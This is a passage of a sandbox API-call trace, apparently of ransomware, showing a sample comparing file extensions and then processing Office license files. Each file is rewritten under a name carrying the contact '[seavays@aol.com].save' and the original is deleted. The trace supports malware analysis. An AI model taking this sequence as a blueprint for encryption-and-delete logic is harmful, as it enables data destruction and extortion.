Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms")) returned 1 [0198.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0198.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0198.272] lstrlenW (lpString=".doc") returned 4 [0198.272] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.272] lstrlenW (lpString=".docx") returned 5 [0198.272] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.272] lstrlenW (lpString=".pdf") returned 4 [0198.273] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.273] lstrlenW (lpString=".xls") returned 4 [0198.273] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.273] lstrlenW (lpString=".xlsx") returned 5 [0198.273] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.273] lstrlenW (lpString=".ppt") returned 4 [0198.273] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0198.273] lstrlenW (lpString=".zip") returned 4 [0198.273] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.273] lstrlenW (lpString=".rar") returned 4 [0198.273] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.273] lstrlenW (lpString=".bz2") returned 4 [0198.273] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.273] lstrlenW (lpString=".7z") returned 3 [0198.273] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0198.273] lstrlenW (lpString=".dbf") returned 4 [0198.273] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0198.273] lstrlenW (lpString=".1cd") returned 4 [0198.273] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0198.273] lstrlenW (lpString=".jpg") returned 4 [0198.273] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.275] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.275] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0198.277] GetLastError () returned 0x0 [0198.277] ReadFile (in: hFile=0x370, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x2bab, lpOverlapped=0x0) returned 1 [0198.279] WriteFile (in: hFile=0x494, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0198.280] ReadFile (in: hFile=0x370, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.281] WriteFile (in: hFile=0x494, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x114, lpOverlapped=0x0) returned 1 [0198.281] SetEndOfFile (hFile=0x494) returned 1 [0198.281] CloseHandle (hObject=0x494) returned 1 [0198.281] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.281] SetEndOfFile (hFile=0x370) returned 1 [0198.284] CloseHandle (hObject=0x370) returned 1 [0198.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0198.285] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms")) returned 1 [0198.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0198.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0198.287] lstrlenW (lpString=".doc") returned 4 [0198.287] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.287] lstrlenW (lpString=".docx") returned 5 [0198.287] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.287] lstrlenW (lpString=".pdf") returned 4 [0198.287] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.287] lstrlenW (lpString=".xls") returned 4 [0198.287] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.287] lstrlenW (lpString=".xlsx") returned 5 [0198.287] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.287] lstrlenW (lpString=".ppt") returned 4 [0198.287] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0198.287] lstrlenW (lpString=".zip") returned 4 [0198.287] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.287] lstrlenW (lpString=".rar") returned 4 [0198.287] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.287] lstrlenW (lpString=".bz2") returned 4 [0198.287] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.287] lstrlenW (lpString=".7z") returned 3 [0198.287] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0198.288] lstrlenW (lpString=".dbf") returned 4 [0198.288] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0198.288] lstrlenW (lpString=".1cd") returned 4 [0198.288] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0198.288] lstrlenW (lpString=".jpg") returned 4 [0198.288] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.289] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.289] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0198.291] GetLastError () returned 0x0 [0198.291] ReadFile (in: hFile=0x370, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x5a5e, lpOverlapped=0x0) returned 1 [0198.294] WriteFile (in: hFile=0x494, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x5a60, lpOverlapped=0x0) returned 1 [0198.295] ReadFile (in: hFile=0x370, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.295] WriteFile (in: hFile=0x494, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x116, lpOverlapped=0x0) returned 1 [0198.295] SetEndOfFile (hFile=0x494) returned 1 [0198.296] CloseHandle (hObject=0x494) returned 1 [0198.296] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.296] SetEndOfFile (hFile=0x370) returned 1 [0198.300] CloseHandle (hObject=0x370) returned 1 [0198.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0198.301] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms")) returned 1 [0198.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0198.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0198.302] lstrlenW (lpString=".doc") returned 4 [0198.302] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.302] lstrlenW (lpString=".docx") returned 5 [0198.302] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.302] lstrlenW (lpString=".pdf") returned 4 [0198.303] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.303] lstrlenW (lpString=".xls") returned 4 [0198.303] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.303] lstrlenW (lpString=".xlsx") returned 5 [0198.303] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.303] lstrlenW (lpString=".ppt") returned 4 [0198.303] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0198.303] lstrlenW (lpString=".zip") returned 4 [0198.303] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.303] lstrlenW (lpString=".rar") returned 4 [0198.303] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.303] lstrlenW (lpString=".bz2") returned 4 [0198.303] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.303] lstrlenW (lpString=".7z") returned 3 [0198.414] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0198.414] lstrlenW (lpString=".dbf") returned 4 [0198.414] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0198.414] lstrlenW (lpString=".1cd") returned 4 [0198.414] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83 [0198.414] lstrlenW (lpString=".jpg") returned 4 [0198.414] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.616] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.616] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0198.617] GetLastError () returned 0x0 [0198.617] ReadFile (in: hFile=0x458, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x5a5e, lpOverlapped=0x0) returned 1 [0198.620] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x5a60, lpOverlapped=0x0) returned 1 [0198.621] ReadFile (in: hFile=0x458, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.621] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x116, lpOverlapped=0x0) returned 1 [0198.621] SetEndOfFile (hFile=0x51c) returned 1 [0198.621] CloseHandle (hObject=0x51c) returned 1 [0198.622] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.622] SetEndOfFile (hFile=0x458) returned 1 [0198.626] CloseHandle (hObject=0x458) returned 1 [0198.626] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0198.626] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms")) returned 1 [0198.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0198.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0198.627] lstrlenW (lpString=".doc") returned 4 [0198.627] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.628] lstrlenW (lpString=".docx") returned 5 [0198.628] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.628] lstrlenW (lpString=".pdf") returned 4 [0198.628] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.628] lstrlenW (lpString=".xls") returned 4 [0198.628] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.628] lstrlenW (lpString=".xlsx") returned 5 [0198.628] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.628] lstrlenW (lpString=".ppt") returned 4 [0198.628] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0198.628] lstrlenW (lpString=".zip") returned 4 [0198.628] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.628] lstrlenW (lpString=".rar") returned 4 [0198.628] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.628] lstrlenW (lpString=".bz2") returned 4 [0198.628] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.628] lstrlenW (lpString=".7z") returned 3 [0198.628] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0198.628] lstrlenW (lpString=".dbf") returned 4 [0198.628] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0198.628] lstrlenW (lpString=".1cd") returned 4 [0198.628] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0198.628] lstrlenW (lpString=".jpg") returned 4 [0198.628] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.629] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.629] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0198.630] GetLastError () returned 0x0 [0198.631] ReadFile (in: hFile=0x458, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x2d6e, lpOverlapped=0x0) returned 1 [0198.632] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0198.633] ReadFile (in: hFile=0x458, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.634] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x11c, lpOverlapped=0x0) returned 1 [0198.634] SetEndOfFile (hFile=0x51c) returned 1 [0198.634] CloseHandle (hObject=0x51c) returned 1 [0198.634] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.634] SetEndOfFile (hFile=0x458) returned 1 [0198.637] CloseHandle (hObject=0x458) returned 1 [0198.637] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0198.638] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms")) returned 1 [0198.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0198.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0198.639] lstrlenW (lpString=".doc") returned 4 [0198.639] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.639] lstrlenW (lpString=".docx") returned 5 [0198.639] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.639] lstrlenW (lpString=".pdf") returned 4 [0198.639] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.639] lstrlenW (lpString=".xls") returned 4 [0198.639] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.639] lstrlenW (lpString=".xlsx") returned 5 [0198.639] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.639] lstrlenW (lpString=".ppt") returned 4 [0198.639] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0198.640] lstrlenW (lpString=".zip") returned 4 [0198.640] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.640] lstrlenW (lpString=".rar") returned 4 [0198.640] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.640] lstrlenW (lpString=".bz2") returned 4 [0198.640] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.640] lstrlenW (lpString=".7z") returned 3 [0198.640] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0198.640] lstrlenW (lpString=".dbf") returned 4 [0198.640] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0198.640] lstrlenW (lpString=".1cd") returned 4 [0198.640] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0198.640] lstrlenW (lpString=".jpg") returned 4 [0198.640] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.641] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.641] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0198.643] GetLastError () returned 0x0 [0198.643] ReadFile (in: hFile=0x458, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x2baf, lpOverlapped=0x0) returned 1 [0198.647] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0198.648] ReadFile (in: hFile=0x458, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.648] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x116, lpOverlapped=0x0) returned 1 [0198.648] SetEndOfFile (hFile=0x51c) returned 1 [0198.649] CloseHandle (hObject=0x51c) returned 1 [0198.649] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.649] SetEndOfFile (hFile=0x458) returned 1 [0198.652] CloseHandle (hObject=0x458) returned 1 [0198.652] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0198.652] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms")) returned 1 [0198.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0198.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0198.654] lstrlenW (lpString=".doc") returned 4 [0198.654] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.654] lstrlenW (lpString=".docx") returned 5 [0198.654] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.654] lstrlenW (lpString=".pdf") returned 4 [0198.654] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.654] lstrlenW (lpString=".xls") returned 4 [0198.654] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.654] lstrlenW (lpString=".xlsx") returned 5 [0198.654] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.654] lstrlenW (lpString=".ppt") returned 4 [0198.654] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0198.654] lstrlenW (lpString=".zip") returned 4 [0198.654] 